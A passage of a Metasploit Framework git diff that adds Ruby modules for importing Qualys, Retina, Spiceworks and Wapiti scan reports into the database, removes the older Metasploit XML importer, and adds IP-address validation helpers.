if refs + refs.each do |ref| + case ref + when /^MS[0-9]{2}-[0-9]{3}/ + fixed_refs << "MSB-#{ref}" + else + fixed_refs << ref + end + end + end + + return if qid == 0 + title = 'QUALYS-' + qid if title.nil? or title.empty? + if addr + report_vuln( + :workspace => wspace, + :task => task, + :host => hobj, + :port => port, + :proto => protocol, + :name => title, + :refs => fixed_refs + ) + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/qualys/asset.rb b/lib/msf/core/db_manager/import/qualys/asset.rb new file mode 100644 index 0000000000..70ab0c7836 --- /dev/null +++ b/lib/msf/core/db_manager/import/qualys/asset.rb @@ -0,0 +1,98 @@ +module Msf::DBManager::Import::Qualys::Asset + # Takes QID numbers and finds the discovered services in + # a qualys_asset_xml. + def find_qualys_asset_ports(i,host,wspace,hobj,task_id) + return unless (i == 82023 || i == 82004) + proto = i == 82023 ? 'tcp' : 'udp' + qid = host.elements["VULN_INFO_LIST/VULN_INFO/QID[@id='qid_#{i}']"] + qid_result = qid.parent.elements["RESULT[@format='table']"] if qid + hports = qid_result.first.to_s if qid_result + if hports + hports.scan(/([0-9]+)\t(.*?)\t.*?\t([^\t\n]*)/) do |match| + if match[2] == nil or match[2].strip == 'unknown' + name = match[1].strip + else + name = match[2].strip + end + handle_qualys(wspace, hobj, match[0].to_s, proto, 0, nil, nil, name, nil, task_id) + end + end + end + + def find_qualys_asset_vuln_refs(doc) + vuln_refs = {} + doc.elements.each("/ASSET_DATA_REPORT/GLOSSARY/VULN_DETAILS_LIST/VULN_DETAILS") do |vuln| + next unless vuln.elements['QID'] && vuln.elements['QID'].first + qid = vuln.elements['QID'].first.to_s + vuln_refs[qid] ||= [] + vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref| + vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1]) + end + vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref| + vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s) + end + end + return vuln_refs + end + + # Pull out vulnerabilities that have at least one matching + # ref -- many "vulns" are not vulns, just audit information. + def find_qualys_asset_vulns(host,wspace,hobj,vuln_refs,task_id,&block) + host.elements.each("VULN_INFO_LIST/VULN_INFO") do |vi| + next unless vi.elements["QID"] + vi.elements.each("QID") do |qid| + next if vuln_refs[qid.text].nil? || vuln_refs[qid.text].empty? + handle_qualys(wspace, hobj, nil, nil, qid.text, nil, vuln_refs[qid.text], nil, nil, task_id) + end + end + end + + # + # Import Qualys's Asset Data Report format + # + def import_qualys_asset_xml(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + doc = rexmlify(data) + vuln_refs = find_qualys_asset_vuln_refs(doc) + + # 2nd pass, actually grab the hosts. + doc.elements.each("/ASSET_DATA_REPORT/HOST_LIST/HOST") do |host| + hobj = nil + addr = host.elements["IP"].text if host.elements["IP"] + next unless validate_ips(addr) + if bl.include? addr + next + else + yield(:address,addr) if block + end + hname = ( # Prefer NetBIOS over DNS + (host.elements["NETBIOS"].text if host.elements["NETBIOS"]) || + (host.elements["DNS"].text if host.elements["DNS"]) || + "" ) + hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task]) + report_import_note(wspace,hobj) + + if host.elements["OPERATING_SYSTEM"] + hos = host.elements["OPERATING_SYSTEM"].text + report_note( + :workspace => wspace, + :task => args[:task], + :host => hobj, + :type => 'host.os.qualys_fingerprint', + :data => { :os => hos } + ) + end + + # Report open ports. + find_qualys_asset_ports(82023,host,wspace,hobj, args[:task]) # TCP + find_qualys_asset_ports(82004,host,wspace,hobj, args[:task]) # UDP + + # Report vulns + find_qualys_asset_vulns(host,wspace,hobj,vuln_refs, args[:task],&block) + + end # host + + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/qualys/scan.rb b/lib/msf/core/db_manager/import/qualys/scan.rb new file mode 100644 index 0000000000..a69d3ab07d --- /dev/null +++ b/lib/msf/core/db_manager/import/qualys/scan.rb @@ -0,0 +1,98 @@ +module Msf::DBManager::Import::Qualys::Scan + def import_qualys_scan_xml(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + + doc = rexmlify(data) + doc.elements.each('/SCAN/IP') do |host| + hobj = nil + addr = host.attributes['value'] + if bl.include? addr + next + else + yield(:address,addr) if block + end + hname = host.attributes['name'] || '' + + hobj = report_host(:workspace => wspace, :host => addr, :name => hname, :state => Msf::HostState::Alive, :task => args[:task]) + report_import_note(wspace,hobj) + + if host.elements["OS"] + hos = host.elements["OS"].text + report_note( + :workspace => wspace, + :task => args[:task], + :host => hobj, + :type => 'host.os.qualys_fingerprint', + :data => { + :os => hos + } + ) + end + + # Open TCP Services List (Qualys ID 82023) + services_tcp = host.elements["SERVICES/CAT/SERVICE[@number='82023']/RESULT"] + if services_tcp + services_tcp.text.scan(/([0-9]+)\t(.*?)\t.*?\t([^\t\n]*)/) do |match| + if match[2] == nil or match[2].strip == 'unknown' + name = match[1].strip + else + name = match[2].strip + end + handle_qualys(wspace, hobj, match[0].to_s, 'tcp', 0, nil, nil, name, nil, args[:task]) + end + end + # Open UDP Services List (Qualys ID 82004) + services_udp = host.elements["SERVICES/CAT/SERVICE[@number='82004']/RESULT"] + if services_udp + services_udp.text.scan(/([0-9]+)\t(.*?)\t.*?\t([^\t\n]*)/) do |match| + if match[2] == nil or match[2].strip == 'unknown' + name = match[1].strip + else + name = match[2].strip + end + handle_qualys(wspace, hobj, match[0].to_s, 'udp', 0, nil, nil, name, nil, args[:task]) + end + end + + # VULNS are confirmed, PRACTICES are unconfirmed vulnerabilities + host.elements.each('VULNS/CAT | PRACTICES/CAT') do |cat| + port = cat.attributes['port'] + protocol = cat.attributes['protocol'] + cat.elements.each('VULN | PRACTICE') do |vuln| + refs = [] + qid = vuln.attributes['number'] + severity = vuln.attributes['severity'] + title = vuln.elements['TITLE'].text.to_s + vuln.elements.each('VENDOR_REFERENCE_LIST/VENDOR_REFERENCE') do |ref| + refs.push(ref.elements['ID'].text.to_s) + end + vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref| + refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1]) + end + vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref| + refs.push('BID-' + ref.elements['ID'].text.to_s) + end + + handle_qualys(wspace, hobj, port, protocol, qid, severity, refs, nil,title, args[:task]) + end + end + end + end + + # + # Import Qualys' Scan xml output + # + def import_qualys_scan_xml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_qualys_scan_xml(args.merge(:data => data)) + end +end diff --git a/lib/msf/core/db_manager/import/report.rb b/lib/msf/core/db_manager/import/report.rb new file mode 100644 index 0000000000..a6708b5e1c --- /dev/null +++ b/lib/msf/core/db_manager/import/report.rb @@ -0,0 +1,48 @@ +module Msf::DBManager::Import::Report + # @param report [REXML::Element] to be imported + # @param args [Hash] + # @param base_dir [String] + def import_report(report, args, base_dir) + tmp = args[:ifd][:zip_tmp] + report_info = {} + + report.elements.each do |e| + node_name = e.name + node_value = e.text + + # These need to be converted back to arrays: + array_attrs = %w|addresses file-formats options sections| + if array_attrs.member? node_name + node_value = JSON.parse(node_value) + end + # Don't restore these values: + skip_nodes = %w|id workspace-id artifacts| + next if skip_nodes.member? node_name + + report_info[node_name.parameterize.underscore.to_sym] = node_value + end + # Use current workspace + report_info[:workspace_id] = args[:wspace].id + + # Create report, need new ID to record artifacts + report_id = report_report(report_info) + + # Handle artifacts + report.elements['artifacts'].elements.each do |artifact| + artifact_opts = {} + artifact.elements.each do |attr| + skip_nodes = %w|id accessed-at| + next if skip_nodes.member? attr.name + + symboled_attr = attr.name.parameterize.underscore.to_sym + artifact_opts[symboled_attr] = attr.text + end + # Use new Report as parent + artifact_opts[:report_id] = report_id + # Update to full path + artifact_opts[:file_path].gsub!(/^\./, tmp) + + report_artifact(artifact_opts) + end + end +end diff --git a/lib/msf/core/db_manager/import/retina.rb b/lib/msf/core/db_manager/import/retina.rb new file mode 100644 index 0000000000..66e6da12f1 --- /dev/null +++ b/lib/msf/core/db_manager/import/retina.rb @@ -0,0 +1,95 @@ +require 'rex/parser/retina_xml' + +module Msf::DBManager::Import::Retina + # Process Retina XML + def import_retina_xml(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + msg = "Warning: The Retina XML format does not associate vulnerabilities with the\n" + msg << "specific service on which they were found.\n" + msg << "This makes it impossible to correlate exploits to discovered vulnerabilities\n" + msg << "in a reliable fashion." + + yield(:warning,msg) if block + + parser = Rex::Parser::RetinaXMLStreamParser.new + parser.on_found_host = Proc.new do |host| + hobj = nil + data = { + :workspace => wspace, + :task => args[:task] + } + addr = host['address'] + next if not addr + + next if bl.include? addr + data[:host] = addr + + if host['mac'] + data[:mac] = host['mac'] + end + + data[:state] = Msf::HostState::Alive + + if host['hostname'] + data[:name] = host['hostname'] + end + + if host['netbios'] + data[:name] = host['netbios'] + end + + yield(:address, data[:host]) if block + + # Import Host + hobj = report_host(data) + report_import_note(wspace, hobj) + + # Import OS fingerprint + if host["os"] + note = { + :workspace => wspace, + :host => addr, + :type => 'host.os.retina_fingerprint', + :task => args[:task], + :data => { + :os => host["os"] + } + } + report_note(note) + end + + # Import vulnerabilities + host['vulns'].each do |vuln| + refs = vuln['refs'].map{|v| v.join("-")} + refs << "RETINA-#{vuln['rthid']}" if vuln['rthid'] + + vuln_info = { + :workspace => wspace, + :host => addr, + :name => vuln['name'], + :info => vuln['description'], + :refs => refs, + :task => args[:task] + } + + report_vuln(vuln_info) + end + end + + REXML::Document.parse_stream(data, parser) + end + + # Process a Retina XML file + def import_retina_xml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_retina_xml(args.merge(:data => data)) + end +end diff --git a/lib/msf/core/db_manager/import/spiceworks.rb b/lib/msf/core/db_manager/import/spiceworks.rb new file mode 100644 index 0000000000..3cf7c513c0 --- /dev/null +++ b/lib/msf/core/db_manager/import/spiceworks.rb @@ -0,0 +1,51 @@ +require 'csv' + +module Msf::DBManager::Import::Spiceworks + def import_spiceworks_csv(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + CSV.parse(data) do |row| + next unless (["Name", "Manufacturer", "Device Type"] & row).empty? #header + name = row[0] + manufacturer = row[1] + device = row[2] + model = row[3] + ip = row[4] + serialno = row[5] + location = row[6] + os = row[7] + + next unless ip + next if bl.include? ip + + conf = { + :workspace => wspace, + :host => ip, + :name => name, + :task => args[:task] + } + + + if os + report_note( + :workspace => wspace, + :task => args[:task], + :host => ip, + :type => 'host.os.spiceworks_fingerprint', + :data => { + :os => os.to_s.strip + } + ) + end + + info = [] + info << "Serial Number: #{serialno}" unless (serialno.blank? or serialno == name) + info << "Location: #{location}" unless location.blank? + conf[:info] = info.join(", ") unless info.empty? + + host = report_host(conf) + report_import_note(wspace, host) + end + end +end diff --git a/lib/msf/core/db_manager/import/wapiti.rb b/lib/msf/core/db_manager/import/wapiti.rb new file mode 100644 index 0000000000..855e5bec45 --- /dev/null +++ b/lib/msf/core/db_manager/import/wapiti.rb @@ -0,0 +1,24 @@ +require 'rex/parser/wapiti_nokogiri' + +module Msf::DBManager::Import::Wapiti + def import_wapiti_xml(args={}, &block) + if block + doc = Rex::Parser::WapitiDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::WapitiDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_wapiti_xml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_wapiti_xml(args.merge(:data => data)) + end +end diff --git a/lib/msf/core/db_manager/import_msf_xml.rb b/lib/msf/core/db_manager/import_msf_xml.rb deleted file mode 100644 index 906ae489da..0000000000 --- a/lib/msf/core/db_manager/import_msf_xml.rb +++ /dev/null @@ -1,580 +0,0 @@ -module Msf - class DBManager - # Handles importing of the xml format exported by Pro. The methods are in a - # module because (1) it's just good code layout and (2) it allows the - # methods to be overridden in Pro without using alias_method_chain as - # methods defined in a class cannot be overridden by including a module - # (unless you're running Ruby 2.0 and can use prepend) - module ImportMsfXml - # - # CONSTANTS - # - - # Elements that can be treated as text (i.e. do not need to be - # deserialized) in {#import_msf_web_page_element} - MSF_WEB_PAGE_TEXT_ELEMENT_NAMES = [ - 'auth', - 'body', - 'code', - 'cookie', - 'ctype', - 'location', - 'mtime' - ] - - # Elements that can be treated as text (i.e. do not need to be - # deserialized) in {#import_msf_web_element}. - MSF_WEB_TEXT_ELEMENT_NAMES = [ - 'created-at', - 'host', - 'path', - 'port', - 'query', - 'ssl', - 'updated-at', - 'vhost' - ] - - # Elements that can be treated as text (i.e. do not need to be - # deserialized) in {#import_msf_web_vuln_element}. - MSF_WEB_VULN_TEXT_ELEMENT_NAMES = [ - 'blame', - 'category', - 'confidence', - 'description', - 'method', - 'name', - 'pname', - 'proof', - 'risk' - ] - - # - # Instance Methods - # - - # Imports web_form element using {Msf::DBManager#report_web_form}. - # - # @param element [REXML::Element] web_form element. - # @param options [Hash{Symbol => Object}] options - # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when - # deserializing params. - # @option options [Mdm::Workspace, nil] :workspace - # (Msf::DBManager#workspace) workspace under which to report the - # Mdm::WebForm - # @yield [event, data] - # @yieldparam event [:web_page] The event name - # @yieldparam data [String] path - # @yieldreturn [void] - # @return [void] - def import_msf_web_form_element(element, options={}, ¬ifier) - options.assert_valid_keys(:allow_yaml, :workspace) - - import_msf_web_element(element, - :allow_yaml => options[:allow_yaml], - :notifier => notifier, - :type => :form, - :workspace => options[:workspace]) do |element, options| - info = import_msf_text_element(element, 'method') - - # FIXME https://www.pivotaltracker.com/story/show/46578647 - # FIXME https://www.pivotaltracker.com/story/show/47128407 - unserialized_params = unserialize_object( - element.elements['params'], - options[:allow_yaml] - ) - info[:params] = nils_for_nulls(unserialized_params) - - info - end - end - - # Imports web_page element using {Msf::DBManager#report_web_page}. - # - # @param element [REXML::Element] web_page element. - # @param options [Hash{Symbol => Object}] options - # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when - # deserializing headers. - # @option options [Mdm::Workspace, nil] :workspace - # (Msf::DBManager#workspace) workspace under which to report the - # Mdm::WebPage. - # @yield [event, data] - # @yieldparam event [:web_page] The event name - # @yieldparam data [String] path - # @yieldreturn [void] - # @return [void] - def import_msf_web_page_element(element, options={}, ¬ifier) - options.assert_valid_keys(:allow_yaml, :workspace) - - import_msf_web_element(element, - :allow_yaml => options[:allow_yaml], - :notifier => notifier, - :type => :page, - :workspace => options[:workspace]) do |element, options| - info = {} - - MSF_WEB_PAGE_TEXT_ELEMENT_NAMES.each do |name| - element_info = import_msf_text_element(element, name) - info.merge!(element_info) - end - - code = info[:code] - - if code - info[:code] = code.to_i - end - - # FIXME https://www.pivotaltracker.com/story/show/46578647 - # FIXME https://www.pivotaltracker.com/story/show/47128407 - unserialized_headers = unserialize_object( - element.elements['headers'], - options[:allow_yaml] - ) - info[:headers] = nils_for_nulls(unserialized_headers) - - info - end - end - - # Imports web_vuln element using {Msf::DBManager#report_web_vuln}. - # - # @param element [REXML::Element] web_vuln element. - # @param options [Hash{Symbol => Object}] options - # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when - # deserializing headers. - # @option options [Mdm::Workspace, nil] :workspace - # (Msf::DBManager#workspace) workspace under which to report the - # Mdm::WebPage. - # @yield [event, data] - # @yieldparam event [:web_page] The event name - # @yieldparam data [String] path - # @yieldreturn [void] - # @return [void] - def import_msf_web_vuln_element(element, options={}, ¬ifier) - options.assert_valid_keys(:allow_yaml, :workspace) - - import_msf_web_element(element, - :allow_yaml => options[:allow_yaml], - :notifier => notifier, - :workspace => options[:workspace], - :type => :vuln) do |element, options| - info = {} - - MSF_WEB_VULN_TEXT_ELEMENT_NAMES.each do |name| - element_info = import_msf_text_element(element, name) - info.merge!(element_info) - end - - confidence = info[:confidence] - - if confidence - info[:confidence] = confidence.to_i - end - - # FIXME https://www.pivotaltracker.com/story/show/46578647 - # FIXME https://www.pivotaltracker.com/story/show/47128407 - unserialized_params = unserialize_object( - element.elements['params'], - options[:allow_yaml] - ) - info[:params] = nils_for_nulls(unserialized_params) - - risk = info[:risk] - - if risk - info[:risk] = risk.to_i - end - - info - end - end - - # For each host, step through services, notes, and vulns, and import - # them. - # TODO: loot, tasks, and reports - def import_msf_xml(args={}, &block) - data = args[:data] - wspace = args[:wspace] || workspace - bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - - doc = rexmlify(data) - metadata = check_msf_xml_version!(doc) - allow_yaml = metadata[:allow_yaml] - btag = metadata[:root_tag] - - doc.elements.each("/#{btag}/hosts/host") do |host| - host_data = {} - host_data[:workspace] = wspace - host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip) - if bl.include? host_data[:host] - next - else - yield(:address,host_data[:host]) if block - end - host_data[:mac] = nils_for_nulls(host.elements["mac"].text.to_s.strip) - if host.elements["comm"].text - host_data[:comm] = nils_for_nulls(host.elements["comm"].text.to_s.strip) - end - %W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum| - if host.elements[datum].text - host_data[datum.gsub('-','_')] = nils_for_nulls(host.elements[datum].text.to_s.strip) - end - } - host_address = host_data[:host].dup # Preserve after report_host() deletes - hobj = report_host(host_data) - - host.elements.each("host_details/host_detail") do |hdet| - hdet_data = {} - hdet.elements.each do |det| - next if ["id", "host-id"].include?(det.name) - if det.text - hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) - end - end - report_host_details(hobj, hdet_data) - end - - host.elements.each("exploit_attempts/exploit_attempt") do |hdet| - hdet_data = {} - hdet.elements.each do |det| - next if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name) - if det.text - hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) - end - end - report_exploit_attempt(hobj, hdet_data) - end - - host.elements.each('services/service') do |service| - service_data = {} - service_data[:workspace] = wspace - service_data[:host] = hobj - service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i - service_data[:proto] = nils_for_nulls(service.elements["proto"].text.to_s.strip) - %W{created-at updated-at name state info}.each { |datum| - if service.elements[datum].text - if datum == "info" - service_data["info"] = nils_for_nulls(unserialize_object(service.elements[datum], false)) - else - service_data[datum.gsub("-","_")] = nils_for_nulls(service.elements[datum].text.to_s.strip) - end - end - } - report_service(service_data) - end - - host.elements.each('notes/note') do |note| - note_data = {} - note_data[:workspace] = wspace - note_data[:host] = hobj - note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip) - note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml)) - - if note.elements["critical"].text - note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL" - end - if note.elements["seen"].text - note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL" - end - %W{created-at updated-at}.each { |datum| - if note.elements[datum].text - note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip) - end - } - report_note(note_data) - end - - host.elements.each('tags/tag') do |tag| - tag_data = {} - tag_data[:addr] = host_address - tag_data[:wspace] = wspace - tag_data[:name] = tag.elements["name"].text.to_s.strip - tag_data[:desc] = tag.elements["desc"].text.to_s.strip - if tag.elements["report-summary"].text - tag_data[:summary] = tag.elements["report-summary"].text.to_s.strip - end - if tag.elements["report-detail"].text - tag_data[:detail] = tag.elements["report-detail"].text.to_s.strip - end - if tag.elements["critical"].text - tag_data[:crit] = true unless tag.elements["critical"].text.to_s.strip == "NULL" - end - report_host_tag(tag_data) - end - - host.elements.each('vulns/vuln') do |vuln| - vuln_data = {} - vuln_data[:workspace] = wspace - vuln_data[:host] = hobj - vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.elements["info"], allow_yaml)) - vuln_data[:name] = nils_for_nulls(vuln.elements["name"].text.to_s.strip) - %W{created-at updated-at exploited-at}.each { |datum| - if vuln.elements[datum] and vuln.elements[datum].text - vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.elements[datum].text.to_s.strip) - end - } - if vuln.elements["refs"] - vuln_data[:refs] = [] - vuln.elements.each("refs/ref") do |ref| - vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip) - end - end - - vobj = report_vuln(vuln_data) - - vuln.elements.each("vuln_details/vuln_detail") do |vdet| - vdet_data = {} - vdet.elements.each do |det| - next if ["id", "vuln-id"].include?(det.name) - if det.text - vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) - end - end - report_vuln_details(vobj, vdet_data) - end - - vuln.elements.each("vuln_attempts/vuln_attempt") do |vdet| - vdet_data = {} - vdet.elements.each do |det| - next if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name) - if det.text - vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) - end - end - report_vuln_attempt(vobj, vdet_data) - end - end - - host.elements.each('creds/cred') do |cred| - cred_data = {} - cred_data[:workspace] = wspace - cred_data[:host] = hobj - %W{port ptype sname proto proof active user pass}.each {|datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - %W{created-at updated-at}.each { |datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.gsub("-","_")] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - %W{source-type source-id}.each { |datum| - if cred.elements[datum].respond_to? :text - cred_data[datum.gsub("-","_").intern] = nils_for_nulls(cred.elements[datum].text.to_s.strip) - end - } - if cred_data[:pass] == "<masked>" - cred_data[:pass] = "" - cred_data[:active] = false - elsif cred_data[:pass] == "*BLANK PASSWORD*" - cred_data[:pass] = "" - end - report_cred(cred_data) - end - - host.elements.each('sessions/session') do |sess| - sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i) - sess_data = {} - sess_data[:host] = hobj - %W{desc platform port stype}.each {|datum| - if sess.elements[datum].respond_to? :text - sess_data[datum.intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip) - end - } - %W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum| - if sess.elements[datum].respond_to? :text - sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip) - end - } - sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.elements["datastore"], allow_yaml)) - if sess.elements["routes"] - sess_data[:routes] = nils_for_nulls(unserialize_object(sess.elements["routes"], allow_yaml)) || [] - end - if not sess_data[:closed_at] # Fake a close if we don't already have one - sess_data[:closed_at] = Time.now.utc - sess_data[:close_reason] = "Imported at #{Time.now.utc}" - end - - existing_session = get_session( - :workspace => sess_data[:host].workspace, - :addr => sess_data[:host].address, - :time => sess_data[:opened_at] - ) - this_session = existing_session || report_session(sess_data) - next if existing_session - sess.elements.each('events/event') do |sess_event| - sess_event_data = {} - sess_event_data[:session] = this_session - %W{created-at etype local-path remote-path}.each {|datum| - if sess_event.elements[datum].respond_to? :text - sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.elements[datum].text.to_s.strip) - end - } - %W{command output}.each {|datum| - if sess_event.elements[datum].respond_to? :text - sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.elements[datum], allow_yaml)) - end - } - report_session_event(sess_event_data) - end - end - end - - # Import web sites - doc.elements.each("/#{btag}/web_sites/web_site") do |web| - info = {} - info[:workspace] = wspace - - %W{host port vhost ssl comments}.each do |datum| - if web.elements[datum].respond_to? :text - info[datum.intern] = nils_for_nulls(web.elements[datum].text.to_s.strip) - end - end - - info[:options] = nils_for_nulls(unserialize_object(web.elements["options"], allow_yaml)) if web.elements["options"].respond_to?(:text) - info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false - - %W{created-at updated-at}.each { |datum| - if web.elements[datum].text - info[datum.gsub("-","_")] = nils_for_nulls(web.elements[datum].text.to_s.strip) - end - } - - report_web_site(info) - yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block - end - - %W{page form vuln}.each do |wtype| - doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element| - send( - "import_msf_web_#{wtype}_element", - element, - :allow_yaml => allow_yaml, - :workspace => wspace, - &block - ) - end - end - end - - private - - # Checks if the XML document has a format version that the importer - # understands. - # - # @param document [REXML::Document] a REXML::Document produced by - # {Msf::DBManager#rexmlify}. - # @return [Hash{Symbol => Object}] `:allow_yaml` is true if the format - # requires YAML loading when calling - # {Msf::DBManager#unserialize_object}. `:root_tag` the tag name of the - # root element for MSF XML. - # @raise [Msf::DBImportError] if unsupported format - def check_msf_xml_version!(document) - metadata = { - # FIXME https://www.pivotaltracker.com/story/show/47128407 - :allow_yaml => false, - :root_tag => nil - } - - if document.elements['MetasploitExpressV1'] - # FIXME https://www.pivotaltracker.com/story/show/47128407 - metadata[:allow_yaml] = true - metadata[:root_tag] = 'MetasploitExpressV1' - elsif document.elements['MetasploitExpressV2'] - # FIXME https://www.pivotaltracker.com/story/show/47128407 - metadata[:allow_yaml] = true - metadata[:root_tag] = 'MetasploitExpressV2' - elsif document.elements['MetasploitExpressV3'] - metadata[:root_tag] = 'MetasploitExpressV3' - elsif document.elements['MetasploitExpressV4'] - metadata[:root_tag] = 'MetasploitExpressV4' - elsif document.elements['MetasploitV4'] - metadata[:root_tag] = 'MetasploitV4' - end - - unless metadata[:root_tag] - raise Msf::DBImportError, - 'Unsupported Metasploit XML document format' - end - - metadata - end - - # Retrieves text of element if it exists. - # - # @param parent_element [REXML::Element] element under which element with - # `child_name` exists. - # @param child_name [String] the name of the element under - # `parent_element` whose text should be returned - # @return [{}] if element with child_name does not exist or does not have - # text. - # @return [Hash{Symbol => String}] Maps child_name symbol to text. Text is - # stripped and any NULLs are converted to `nil`. - # @return [nil] if element with `child_name` does not exist under - # `parent_element`. - def import_msf_text_element(parent_element, child_name) - child_element = parent_element.elements[child_name] - info = {} - - if child_element - stripped = child_element.text.to_s.strip - attribute_name = child_name.underscore.to_sym - info[attribute_name] = nils_for_nulls(stripped) - end - - info - end - - # Imports web_form, web_page, or web_vuln element using - # {Msf::DBManager#report_web_form}, {Msf::DBManager#report_web_page}, and - # {Msf::DBManager#report_web_vuln}, respectively. - # - # @param element [REXML::Element] the web_form, web_page, or web_vuln - # element. - # @param options [Hash{Symbol => Object}] options - # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when - # deserializing elements. - # @option options [Proc] :notifier Block called with web_* event and path - # @option options [Symbol] :type the type of web element, such as :form, - # :page, or :vuln. Must correspond to a report_web_<type> method on - # {Msf::DBManager}. - # @option options [Mdm::Workspace, nil] :workspace - # (Msf::DBManager#workspace) workspace under which to report the - # imported record. - # @yield [element, options] - # @yieldparam element [REXML::Element] the web_form, web_page, or - # web_vuln element passed to {#import_msf_web_element}. - # @yieldparam options [Hash{Symbol => Object}] options for parsing - # @yieldreturn [Hash{Symbol => Object}] info - # @return [void] - # @raise [KeyError] if `:type` is not given - def import_msf_web_element(element, options={}, &specialization) - options.assert_valid_keys(:allow_yaml, :notifier, :type, :workspace) - type = options.fetch(:type) - - info = {} - info[:workspace] = options[:workspace] || self.workspace - - MSF_WEB_TEXT_ELEMENT_NAMES.each do |name| - element_info = import_msf_text_element(element, name) - info.merge!(element_info) - end - - info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false - - specialized_info = specialization.call(element, options) - info.merge!(specialized_info) - - self.send("report_web_#{type}", info) - - notifier = options[:notifier] - - if notifier - event = "web_#{type}".to_sym - notifier.call(event, info[:path]) - end - end - end - end -end diff --git a/lib/msf/core/db_manager/ip_address.rb b/lib/msf/core/db_manager/ip_address.rb new file mode 100644 index 0000000000..dcff05b2e2 --- /dev/null +++ b/lib/msf/core/db_manager/ip_address.rb @@ -0,0 +1,61 @@ +module Msf::DBManager::IPAddress + def ipv46_validator(addr) + ipv4_validator(addr) or ipv6_validator(addr) + end + + def ipv4_validator(addr) + return false unless addr.kind_of? String + Rex::Socket.is_ipv4?(addr) + end + + def ipv6_validator(addr) + Rex::Socket.is_ipv6?(addr) + end + + def rfc3330_reserved(ip) + case ip + when PacketFu::Octets + ip_x = ip.to_x + ip_i = ip.to_i + when String + if ipv46_validator(ip) + ip_x = ip + ip_i = Rex::Socket.addr_atoi(ip) + else + raise ArgumentError, "Invalid IP address: #{ip.inspect}" + end + when Fixnum + if (0..2**32-1).include? ip + ip_x = Rex::Socket.addr_itoa(ip) + ip_i = ip + else + raise ArgumentError, "Invalid IP address: #{ip.inspect}" + end + else + raise ArgumentError, "Invalid IP address: #{ip.inspect}" + end + return true if Rex::Socket::RangeWalker.new("0.0.0.0-0.255.255.255").include? ip_x + return true if Rex::Socket::RangeWalker.new("127.0.0.0-127.255.255.255").include? ip_x + return true if Rex::Socket::RangeWalker.new("169.254.0.0-169.254.255.255").include? ip_x + return true if Rex::Socket::RangeWalker.new("224.0.0.0-239.255.255.255").include? ip_x + return true if Rex::Socket::RangeWalker.new("255.255.255.255-255.255.255.255").include? ip_x + return false + end + + # Takes a space-delimited set of 